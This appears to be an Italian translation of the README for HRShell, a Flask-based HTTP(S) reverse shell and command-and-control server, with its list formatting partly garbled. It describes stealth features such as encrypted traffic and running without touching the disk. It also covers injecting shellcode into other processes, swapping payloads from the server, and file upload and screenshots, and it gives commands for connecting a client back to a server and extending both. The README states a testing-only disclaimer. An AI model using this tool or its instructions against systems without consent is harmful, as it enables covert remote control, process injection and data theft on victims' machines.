
HRShell è una reverse shell HTTPS/HTTP costruita con flask. È un server C2 avanzato con molte funzionalità e capacità.
HRShell è una reverse shell HTTPS/HTTP costruita con Flask ed è compatibile con python 3.x. client.py è stato testato con successo su:
mentre server.py è compatibile con sistemi Unix (supporto per Windows in arrivo...)
migrate <PID>) specificandone il PID
cd e varianti).history disponibile su sistemi Unix.download/upload/screenshot/hex disponibili.|) e comandi concatenati (;) sono supportati*Per le modifiche alle versioni consulta CHANGELOG.
HRShell è furtivo poiché utilizza il protocollo HTTP(S) come metodo di comunicazione tra client e server. Inoltre, quando TLS è in uso, il traffico è crittografato. Inoltre, se il CERT non è codificato manualmente sul lato client (opzione fattibile) e il comando upload non viene utilizzato, client.py non tocca affatto il disco.
Lato server:
A meno che non venga specificata l'opzione --http, di default server.py è HTTPS utilizzando certificati on-the-fly, poiché i certificati on-the-fly sono una funzionalità integrata di Flask. Ma se viene specificata l'opzione -s tornado per fare in modo che il server utilizzi TLS, devono essere specificate le opzioni --cert e --key in questo modo:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
Si possono utilizzare certificati "reali" oppure un altro modo per generare una coppia cert/chiave è, ad esempio, usando mkcert o openssl direttamente in questo modo:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
Una coppia cert/chiave può essere utilizzata anche con il server Flask:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ Se il server utilizza TLS, per progettazione il client non può usare
http://...per connettersi al server, ma deve usare esplicitamentehttps.
Lato client: Di default la verifica SSL del client è disabilitata, a meno che:
--cert ad esempio:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT, invece del valore predefinito None, venga impostata preventivamente con un certificato valido, ad esempio:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
⚠️ Il fatto che la verifica SSL sia disabilitata di default sul client non significa in alcun caso che anche TLS sia disabilitato, TLS sarà abilitato se il server lo utilizza - quindi TLS dipende completamente dal server. L'opzione
--certsul client è presente solo come modo alternativo per avere una sessione crittografata tra server e client, tutto qui.
Esistono due "modalità" di iniezione di shellcode utilizzando rispettivamente i due comandi seguenti:
migrate <PID>: Utilizzando questo comando possiamo iniettare shellcode nello spazio di memoria di un altro processo specificandone il PID. Per ora questo comando può essere applicato solo su piattaforme Windows x86/x64!
inject shellcode: Utilizzando questo comando viene creato un nuovo thread (o processo generato su sistemi Unix) del nostro processo corrente e l'iniezione di shellcode avviene nel suo spazio di memoria. Di conseguenza la nostra shell HTTP(S) non viene influenzata dall'iniezione. Le piattaforme su cui questo comando può essere applicato sono: Unix x86/x64, Windows x86!
Ci sono due modi per specificare/impostare che tipo di shellcode vuoi che il client esegua:
shellcode nello script client.py in modo che sia uno shellcode valido, oppureset shellcode <shellcode-id> per farlo al volo. Con questo comando puoi aggiornare il tuo shellcode lato client dal lato server tutte le volte che vuoi!
Il primo modo è piuttosto semplice. Tuttavia, per utilizzare il secondo modo, più comodo (poiché puoi anche modificare uno shellcode già specificato), devi impostare lo script shellcodes/utils.py in modo che contenga lo/i shellcode di tua scelta. Lo script contiene un esempio di come fare.
💡 Puoi modificare/aggiornare lo script
shellcodes/utils.pyanche dopo aver avviatoserver.pytutte le volte che vuoi, poichéserver.pyutilizzerà dinamicamente la versione più aggiornata/recente. In questo modo puoi impostare e modificare gli shellcode al volo...
Comandi speciali:
Qualsiasi altro comando è supportato se non è interattivo come ad es. gdb, top ecc... Inoltre digitando python server.py -h o python client.py -h puoi ottenere informazioni sugli argomenti disponibili del server e del client.
Nota: Se un client è connesso al server e vogliamo terminare il server, prima di premere CTRL+C, dobbiamo chiudere la connessione usando il comando exit.
Lato client:
Per creare un comando personalizzato, generalmente:
elif sempre lato client.Lato server:
Se il comando richiede l'esistenza di un nuovo endpoint lato server, allora:
@app.route('/custom_endpoint/<arg>')
def custom_endpoint(arg):
"""
documentation if needed
"""
...
return ...
handleGET() per reindirizzare il client a quell'endpoint:
@app.route('/')
def handleGET():
...
return redirect(url_for('custom_endpoint',
arg=...)
)
handlePOST() per gestire la presentazione dei risultati.Entrambi gli script (server.py e client.py) possono essere personalizzati tramite argomenti:
server.py
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]
server.py: An HTTP(S) reverse-shell server with advanced features.
arguments:
-h, --help show this help message and exit
-s , --server Specify the HTTP(S) server to use (default: flask).
-c , --client Accept connections only from the specified client/IP.
--host Specify the IP to use (default: 0.0.0.0).
-p , --port Specify a port to use (default: 5000).
--http Disable TLS and use HTTP instead.
--cert Specify a certificate to use (default: None).
--key Specify the corresponding private key to use (default: None).
client.py
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]
client.py: An HTTP(S) client with advanced features.
arguments:
-h, --help show this help message and exit
-s , --server Specify an HTTP(S) server to connect to.
-c , --cert Specify a certificate to use.
-p , --proxy Specify a proxy to use [form: host:port]
Per installare i requisiti del server:
pip install -r requirements.txt --upgrade --user
Feedback e contributi sono benvenuti. Se trovi un bug o hai una richiesta di funzionalità, sentiti libero di aprire un issue e non appena lo esaminerò cercherò di risolverlo.
Questo strumento è solo per scopi di test e accademici e può essere utilizzato solo dove è stato ottenuto un consenso esplicito. Non usarlo per scopi illegali! È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da questo strumento e dal software in generale.
hexdump del client presa da questo grande gist.Questo progetto è concesso in licenza secondo la licenza GPLv3 - vedi il file LICENSE per i dettagli.
gunicornserver.py che client.py sono facilmente estendibili.